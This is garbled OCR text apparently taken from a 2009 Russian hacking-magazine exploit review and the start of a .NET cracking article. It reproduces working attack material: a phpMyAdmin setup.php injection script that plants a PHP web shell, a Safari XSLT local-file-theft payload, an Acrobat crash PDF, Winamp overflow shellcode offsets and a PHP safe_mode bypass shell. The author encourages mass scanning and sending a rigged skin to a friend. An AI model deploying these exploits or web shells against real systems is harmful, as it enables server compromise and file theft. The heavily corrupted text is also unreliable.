Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.73 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

>>

обзор

эксплоитов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Below you should see the content of a local file, stolen by this evil web page.

<p/>

&ent;

<script>

alert(document.body.innerHTML);

</script>

</body>

</html>

</xsl:template>

</xsl:stylesheet>

Каквидишь, лексема«&ent;» хранитвсебесодержимое«/etc/passwd», которыймагическимобразомотобразитсянаэкране. Еслитысчастливый обладательSafari, можешьпройтитестнавшивостьпоссылкамhttps:// cevans-app.appspot.com/static/safaristealfilebug.xml (MacOS) иhttps:// cevans-app.appspot.com/static/safaristealfilebugwin.xml (Windows).

>> SOLUTION

ОбновлениедоSafari 4.x решитвсепроблемыиустранитугрозывнешнихнападений.

02PHPMYADMIN (/SCRIPTS/SETUP.PHP)

PHP CODE INJECTION EXPLOIT

>> Brief

Давнонаснебаловалихорошимиуязвимостямивпопулярныхпроектах. Сегодняяпостараюсьэтоисправить: 4 июнябагоискателямудалосьобнаружитьизъянвпроектеphpMyAdmin, аименно— вгенераторенастроечныхфайлов«/scripts/setup.php». Сутьбагадовольнопроста: впроцессеустановкиphpMyAdmin происходитгенерацияосновныхпараметров(хоста mysql, логина, пароля, названиябазыит.п.) споследующимихсохранениемв«/config/config.inc.php». Таквот, донедавнеговремениразработчики довольноаккуратнофильтровалинежелательныйконтент, новпоследних версияхчуть-чутьизменилиалгоритм. Витоге, злоумышленникможет передатьядовитыепараметры, позволяющиезаписатьпроизвольныйкод вконфигурационныйфайл. Затем, пообращениюкэтомуконфигу, хакер получитполноценныйWeb-шелл. Атеперьразберемся, какэтопроисходит насамомделе. Вместеспрочимипараметрамивзначениепеременной «host» инжектируется, кпримеру, фраза«phpinfo();//localhost». Навыходе получимвполнеработоспособныйсценарий, выводящийphpinfo(). Помимопрочего, эксплойтпозволяетвнедрить«passthru()» дляпередачи командWeb-шеллуприпомощизначенияпеременной«c».

Нонедумай, чтовсетакпросто. Эксплойтнакладываетнекоторые ограничениянаphpMyAdmin. Во-первых, нужно, чтобыадминистраторустанавливалпроектчерезмастера, аневручную. Во-вторых, необходимоналичиефайла«scripts/setup.php», которыйпочему-то

(интересно, почему? :)) любятудалять. В-третьих, директория«config/» такжедолжнаприсутствовать, анафайл«config.inc.php» должен бытьустановленатрибутзаписи. В-четвертых, намашиненеобходим работоспособныйcurl (сегопомощьюпроисходитинжектирование кода). И, наконец, уязвимымиверсиямиphpMyAdmin являются2.11.x

до2.11.9.5 и3.x до3.1.3.1 (всерелизыдостаточноновыеивыпускались доапреляэтогогода).

Какитог, хакерможетбезтруданаписатьавтосканерphpMyadmin и эксплуатироватькаждыйхост. Намойвзгляд, вероятностьуспехиатаки недалекаот30%, апритакихраскладаходналишьночьсканирования будетприноситьвзломщикуморенелишнихWeb-шеллов.

>> Exploit

Нижеприводитсяключеваяфункцияexploit(), отвечающаязаинжект вредоносногокода.

function exploit {

postdata="token=$1&action=save&configuration="\ "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22hos t%27]="\ "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost %22%3bs:9:"\ "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connec t_type%22%3bs:3:"\ "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22aut h_type%22%3bs:6:"\ "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}& eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\ "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%2 7%5d="\

"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20 %27%3cpre%3e%27%3b"\ "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/ pre%3e%27%3b}"\ "if(\$_GET%5b%27p%27%5d){echo%20 %27%3cpre%3e%27%3beval"\ "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/ pre%3e%27%3b}%3b//"\

"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:

6:%22"\ "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22% 3bs:8:"\

"%22compress%22%3bb:0%3bs:9:%22auth_ type%22%3bs:6:%22config"\ "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype= unix"

НАГЛЯДНАЯДЕМОНСТРАЦИЯУЯЗВИМОСТИПОДWINDOWS ПОСЛЕДРАКИКУЛАКАМИНЕМАШУТ:)

XÀÊÅÐ 07 /127/ 09

049

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

обзор

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

эксплоитов

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

СЕГОДНЯНЕНАШДЕНЬ. ПРИДЕТСЯПИСАТЬАВТОСКАНЕР...

flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" echo "[+] attempting to inject phpinfo() ..."

curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup. php" >/dev/null

if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null

then

curl -ks --url "$3/config/config.inc.php" >$flag echo "[+] success! phpinfo() injected successfully!

output saved on $flag"

curl -ks -b $2 -d $postdata2 --url "$3/scripts/ setup.php» >/dev/null

echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"

echo " $3/config/config.inc.php?c=ls+-l+/" echo " $3/config/config.inc.php?p=phpinfo();" echo " please send any feedback/improvements for

this script to"\ "unknown.pentester<AT_sign__here>gmail.com"

else

echo "[+] no luck injecting to $3/config/config.inc. php :("

exit

fi

}

ЕслитынеполенишьсянаписатьпростенькийPHP-парсерпередавае- мыхстрок, тополучишьпосимвольнуюкартинуинжекта.

Полныйкодэксплойтаможноскачатьпоссылкеsecuritylab.ru/poc/ extra/381413.php.

>> Targets:

УязвимымиверсиямиphpMyAdmin являются2.11.x до2.11.9.5 и3.x до 3.1.3.1 (всерелизыдостаточноновыеивыпускалисьдоапреляэтого года).

>> Solution

Нависшуюугрозубезопасностирешитлибоудалениефайла«/scripts/ setup.php», либоизолированиекаталога«/config» внеWeb-директории, либо(самыйпредпочтительныйвариант) обновлениеphpMyAdmin до свежейверсии. Последнееможноосуществитьсофициальнойлокации: sourceforge.net/projects/phpmyadmin.

03ADOBE ACROBAT 9.1.1 STACK OVERFLOW CRASH POC EXPLOIT

>> Brief

ОчереднаятемнаялошадканааренеPoC появиласьвначалеиюня. Наэтотраз, позаявлениямнеизвестныхбагоискателей, обнаружилась брешьвAdobe Acrobat аждоверсии9.1.1. Впабликвыложилилишь PoC-эксплойт, призапускекоторогоничегонепроисходит. Точнее, про-

ОШИБКАТУПАЯДОБОЛИ

исходит— вываливаетсясреда, изкоторойбылзапущенPoC. Еслиэто браузер— закрываютсявсевкладкиIE/Firefox/Opera/Mozilla. Еслиэто самAcrobat Reader — тоионвылетает. Корочеговоря, сплойтдействительносшибаетсногAdobe Reader.

Почемужетакпроисходит? Чтобыэтовыяснить, бережноскачаемPDF’ку каким-нибудьстороннимменеджером(яиспользовалwget наудаленномсервере) иприсмотримсякисходномукодуфайла. Дляпростоты восприятия, помещаюегониже.

%PDF-1.4

%

4 0 obj<</ProcSet[/PDF/Text]>>endobj

5 0 obj<</Length 1>>stream endstream

endobj

3 0 obj<</Type/Page/Parent 2 0 R/Contents 5 0 R/MediaBox [0 0 595 842]/Resources 4 0 R>>endobj

2 0 obj<</Type/Pages/Kids [3 0 R ]/Count 1 >>endobj

НЕМЕДЛЕННОЕОБНОВЛЕНИЕ

050

XÀÊÅÐ 07 /127/ 09

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

обзор

эксплоитов

эксплоитов

эксплоитов

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

>> взломw Click

 

BUY

 

 

to

 

 

 

 

m

обзор

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

эксплоитов

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

НАВОЛОСКЕОТСМЕРТИ...

6 0 obj<</S/JavaScript/JS ( 0

function Init\(\) { if \(typeof this.info.ModDate == "object"\) { return true; }app.alert\([[[[[[[[.... * 4098 } Init\(\); )>>endobj

1 0 obj<</Type/Catalog/Pages 2 0 R/OpenAction 6 0 R>>endobj

xref 0 7

0000000000 65535 f

0000020392 00000 n

0000000193 00000 n

0000000098 00000 n

0000000015 00000 n

0000000052 00000 n

0000000245 00000 n trailer

<<

/Size 7 /Root 1 0 R

/ID [<c52946397fbfbe4d5492f9f411a983e2><c52946397fbfbe 4d5492f9f411a983e2>]

>>

startxref 20452 %%EOF

Смотримивидим, чтовсекцииinit естьстранныйalert, содержащий4098 байтмусора. Очевидно, чтоонисталпричинойпадения. Какговорится, доверяй, нопроверяй, поэтомуяотредактировалфайл, оставивлишь10 байт«мусора». Витоге, PDF’каоткрыласьбезошибок.

Каковжевывод? Всепросто, функция«app.alert()» несодержитдолжную проверкунапереполнение, витоге, мыимеембезобидныйDoS. Подчеркиваю, именнобезобидный, посколькувприватныхкругахнаверняка ходитэксплойт, реализующийвыполнениепроизвольногосистемного кода, которыйвпоследствиибудетиспользоватьсявразличныхсвязках для«пробива» приватныхтроянцев. Поэтомумотайинформациюнауси немедленнообновляйся.

ТЕХНИЧЕСКОЕОПИСАНИЕБАГАВLIBSNDFILE

>> Exploit

Вбейвадреснуюстроку«securitylab.ru/_download/exploits/2009/05/ adobe-reader-dos.pdf» иувидишь... аварийноезакрытиебраузера:).

>> Targets

УязвимымиявляютсявсеверсииAcrobat Reader, включаярелиз9.1.1. Помни, чтоеслитыжмякнешьнассылкусядовитымPDF-файлом, захлопнетсяипрограмма, котораяинициировалаегооткрытие.

>> Solution

Обновляйчиталкунаофициальномсайте«get.adobe.com/reader». Тем самымтызащитишьсвойкомпьютеротнепрошеныхгостей.

XÀÊÅÐ 07 /127/ 09

051

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

обзор

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

эксплоитов

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

НИКЧЕМУНЕОБЯЗЫВАЮЩИЙЭКСПЛОЙТДЛЯWINAMP

04 WINAMP BUFFER OWERFLOW

MULTIPLE EXPLOITS

>> Brief:

Наэтотразнеобошлосьбезмузыкальныхжертв— подприцелбагоиска-

телейпопалсамыйпопулярныйWindows-player — Winamp отNullsoft.

Заодинлишьмесяцвнембылонайденодвегромкихуязвимости, о которыхяспешутеберассказать.

1.Какяужеписал, всепродуктыбазируютсянакаких-либокомпонент- ныхбиблиотеках. Иесливсофтепрактическиидеальныйкод, тоуязвимостьможетнаходитьсявовспомогательнойбиблиотеке. Особенно тяжелоположение, еслиисходникибиблиотекизакрыты(соднойстороны, сложнонайтиуязвимость, носдругой— никтоотнеевпринципене застрахован:)). НовслучаесWinamp — багтривиален. Умельцынашли изъянвфункциях«voc_read_header()» и«aiff_read_header()», принадле-

жащихбиблиотеке«libsndfile» ичитающихзаголовки«.voc»- и«.aiff»- файлов(по-видимому, обефункциинаписаныпоодномуалгоритму). Есливеритьэкспертам, вэтихфункцияхсодержитсякод, приводящийк переполнениюдинамическойпамяти. Какследствие, любойжелающий можетсоздать«.voc» или«.aiff»-файлсоспециальнымзаголовком, послечегоWinamp послушновыполнитпроизвольныйсистемныйкод.

Ксожалению, всеограничилосьсловами, исплойтниктотакиневыложил. Однакоутебяимеетсявсяинформациякразмышлению, чтобы написатьсобственныйсплойт(перерывайстарыеподшивкижурналаи смотристатьиКриса— поподобнымнаводкамонэтоделалнераз;)).

2.Ответьмненапростойвопрос: «ЛюбишьлитыскиныWinamp, каклюблюихя?». Насамомделе, шучу, нобыловремя, когдаячасамиизучал различныешкуркиотпроигрывателя, останавливаясьнасамомлучшем. Думаю, исейчасестьфанатымодныхскинов... Гхм, кчемуэтоя? :) Короче говоря, совсемнедавнообнаружиливозможностьпереполнениябуфера впарсере«MAKI» (библиотекаgen_ff.dll). Maki — это, собственно, иесть скриптыWinamp’а, образующиескин(привязкукнопок, функционал

ит.п.). Еслиуглубитьсявтехническиеподробности, будетпонятно, что механизмпарсинга.maki состоитвпоследовательномчтениидвухбайт, отвечающихзадлину. Есличутьувеличитьэтудлину, произойдет... правильно— переполнениестекаиаварийноезавершениепрограммы. А есличутокподуматьиувеличитьдлинусумом, мыдобьемсяперезаписи адресавозвратаивыполнениепроизвольногосистемногокода. Чтои происходитвэксплойте.

payload = "\x41»*16756 payload += "\x74\x06\x90\x90"

payload += "\x32\x55\xF0\x12" # universal p/p/r in_mod. dll

payload += shellcode # calc shellcode from metasploit

Вэтомфрагментеэксплойтапроисходитсмещениестрокинаадрес шеллкода, которыйуспешновызоветсяпослеобработки.maki-файла.

Если«отдебажить» парсинг.maki-файла, томыполучимследующую картину:

.text:12094F62 loc_12094F62:

.text:12094F62 mov ax, [ebx]

.text:12094F65 movsx edi, ax ; sign extension

.text:12094F68 inc ebx

.text:12094F69 push edi ; Size

.text:12094F6A inc ebx

.text:12094F6B lea eax, [ebp+MultiByteStr]

.text:12094F71 push ebx ; Src

.text:12094F72 push eax ; Dst, buffer is located in the stack

.text:12094F73 call memmove

.text:120951E5 loc_120951E5:

.text:120951E5 mov edi, [ebx]

.text:120951E7 add ebx, 4

.text:120951EA mov ax, [ebx]

.text:120951ED movsx esi, ax ; sign extension

.text:120951F0 inc ebx

.text:120951F1 push esi ; Size

.text:120951F2 inc ebx

.text:120951F3 lea eax, [ebp+var_10144]

.text:120951F9 push ebx ; Src

.text:120951FA push eax ; Dst, buffer is located in the stack

.text:120951FB call memmove

Всеиспытанияпроводилисьнаскинеот«Big Bento», которыйты можешьнайтинаофициальномсайте. Файлmcvcore.maki находитсяв

«PROGRAMFILES/Winamp/Skins/Bento/Scripts». Атеперьподумай, что будет, еслиаккуратновпаритьякобыкрутойскинсвоемусотоварищу? Правильно! Ноятебеэтогонеговорил:).

>> Targets

Уязвимымисчитаются:

1.Библиотека«libsndfile» доверсии<= 1.0.20, активноиспользующаяся вWinamp.

2.СамWinamp доверсии<= 5.55.

>> Solution

Зайдина«winamp.com» иобновисьдопоследнегорелиза. Благодаря своевременномуоповещениюразработчиков, багбылисправленвтот жедень. Хорошоэтоилинет— незнаю, новлюбомслучаевСетиеще осталосьогромноеколичествоуязвимыхверсий.

>> Exploit:

Попервомубагу, какяужесказал, эксплойтаниктонепредоставил. Зато повторому— ихцелыхдва. ОдиннаписаннаСи(securitylab.ru/poc/ extra/380450.php), авторойнаПитоне(securitylab.ru/poc/extra/380454. php).

05 PHP <= 5.2.9 LOCAL SAFEMOD BYPASS EXPLOIT (WIN32)

>> Brief:

Нашлась дырка и в самой свежей версии PHP, позволяющая осуществить обход ограничений «safe_mode». Напомню, что взведенная в php.ini опция «safe_mode» не позволяет инклудить файлы, выполнять системные вызовы и т.п. Но багоискатели нашли способ выполнения команд при включенном

 

 

052

XÀÊÅÐ 07 /127/ 09

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

КАКНИСТРАННО, ЭКСПЛОЙТДЕЙСТВИТЕЛЬНОРАБОТАЕТ:)

«safe_mode». Правда, только на Windows-платформах. Почему тольконаWindows?

Дело в том, что баг актуален лишь в силу специфики OS и был пропущен из-за кроссплатформенности PHP. Все дело в слэшах. Если в *nix-like системах «/usr/bin/php» и «\usr\bin\php» будут считаться совершенно разными строками (мало того, вторая строка вернет тебе ошибку), то Windows сочтет их вполне одинаковыми. К слову, это является одним из признаков характеристики целевой системы при ее изучении (Remote OS Fingerprinting). Например, если перед нами система со сбитыми TTL, Windows Size, а также модифицированным сетевым стеком, и у нас есть доступ к FTP или Web-Server’у, то можно сразу опознать Windows всего лишь по двум запросам к файлу. Эксплойт, совсемнедавноопубликованныйкомандойAbysssec (abyssses.com), представляетсобойдвафайла: php-сценарий«cmd. php» иисполняемый«cmd.bat» (можнобылореализоватьбагсиспользованиемодногофайла, нудаладно).

Ключевойфрагментсплойтатакой:

$cmd = $_REQUEST[‘cmd’]; if ($cmd){

$batch = fopen ("cmd.bat","w"); fwrite($batch,"$cmd>abysssec.txt"."\r\n"); fwrite($batch,"exit");

fclose($batch); exec("\start cmd.bat"); echo "<center>";

echo "<h1>Abysssec.com PHP 5.x SafeMod Bypasser</h1>";

echo "<textarea rows=20 cols=60>"; require("abysssec.txt");

echo "</textarea>"; echo "</center>";

Каквидишь, весьбагсводитсяктому, что«safe_mode» пропускает конструкцию«\start cmd.bat», начинающуюсяссимвола«\». Команда записываетсяв«cmd.bat», которыйвыводитеерезультатвтекстовик. А текстовыйфайл, всвоюочередь, отображаетсянаэкране. Воттакойвот геморрой:).

>> Exploits

Эксплойтберемпоадресуabysssec.com/safemod-windows.zip или milw0rm.com/sploits/2009-safemod-windows.zip. Описаниекэксплойту

(менееподробное, чемвэтомобзоре) можноизучитьпоссылкеs3curi7y. org/local.php?id=7.

>> Targets:

УязвимымиявляютсявсеверсииPHP, нопомни, чтоинтерпретатор долженбытьустановленнаWindows-платформе. АкакпроверитьOS, ты ужезнаешь.

>> Solution:

Вданныймоментуязвимостьнеустранена. Ноеслипозарезнужноизбавитьсяотбага, простозапретифункцию«exec()» илинапишипарсер, убивающийвсебоковыеслеши.z

XÀÊÅÐ 07 /127/ 09

053

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Module. netmod

Some.dll

 

 

Манифест

 

 

ule

 

 

 

 

 

 

Module. netmod ule

Хеш

Хеш

 

logo.jpeg

Хеш

 

 

logo.jpeg

 

 

 

 

ЦифроваяподписьRSA

Открытый+Закрытые

 

ключи

 

 

 

M0R0 / M0R0@INBOX.RU /

ТРУДНОСТИ

ПЕРЕВОДА

УЧИМСЯ ЛОМАТЬ.NET-СБОРКИ

Перваяверсия.NET впервыебылапредставленаMicrosoft в2002 году. Стехпорутекломноговоды, инаподходеуже4-яверсияфреймвор- ка. Числософтинрастетбыстрее, чемразмножаютсяхомячки,

атыбоишьсякнимдажеприблизиться. Пораразобраться, чтокчему,

ивосстановитьсправедливость.

>> взлом

ЗАГАДОЧНЫЙФРЕЙМВОРК

Говоряо.NET,следуетпризнать,чтовMicrosoft вовсенедуракиработают,ииногдавнедрах корпорациирождаютсяпоистинеинтересные решения.Янебудувдаватьсявподробности относительнопротивостояния.NETиJava, проводитьдетальныесравненияимерятьсявсем, чемможно.Фактналицо—.NETразвиваетсяи ужевключенвофициальнуюпоставкуновыхОС

(Vista/2008/7)отMicrosoft.Microsoftпредостав-

ляетнетолькосредыразработкииисполнения, ноибогатыебиблиотекиклассов,позволяющие реализоватьпрактическилюбойфункционал пользовательскогоприложения.Совместнос

Hewlett-PackardиIntelбылистандартизованы CLI,C#иC++/CLI(ECMA-335,ECMA-334,ECMA- 372,соответственно).Этооткрылодорогудля NovellсихпроектомMono,реализующимданные стандартыипозволяющимзапускатьприложения.NETнадругих,безоконныхоперационных системах.Microsoftделаетставкуна.NETкакна лидирующуюсредудлясозданияприложенияпод ОСWindows,а,значит,инамследуетотнестись кнейсуважениеминаучитьсясправлятьсяс потенциальнымитрудностями.Однимизнесомненныхпреимуществ.NETявляетсяподдержка несколькихязыковпрограммирования.Впервую очередь,этозаостренныйC(C#)и,конечноже,

BasicвформатеVB.NET.Врамкаходногопроекта можнокомбинироватьсборки,разработанные наразличныхязыках.Средасамаобеспечит корректностьисполненияконечногорешения. Какимжеобразомэтодостигается?Реализованы концепциипесочницы,CLIиJIT.

ОЛЬГА, ПРОЩАЙ!

Насамомделе,вседостаточнопросто(здесь опятьможновспомнитьоJava,номыэтогоделать небудем).Независимостьотязыкапрограммированияиотконечнойплатформыдостигается засчеткомпиляцииприложенияневнативный, авпромежуточныйбайт-код.Втерминологии

054

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

>> взломw Click

 

BUY

 

 

w Click

to

 

 

 

 

 

m

 

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CRACKME ОТЧАЯННО

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СОПРОТИВЛЯЕТСЯ

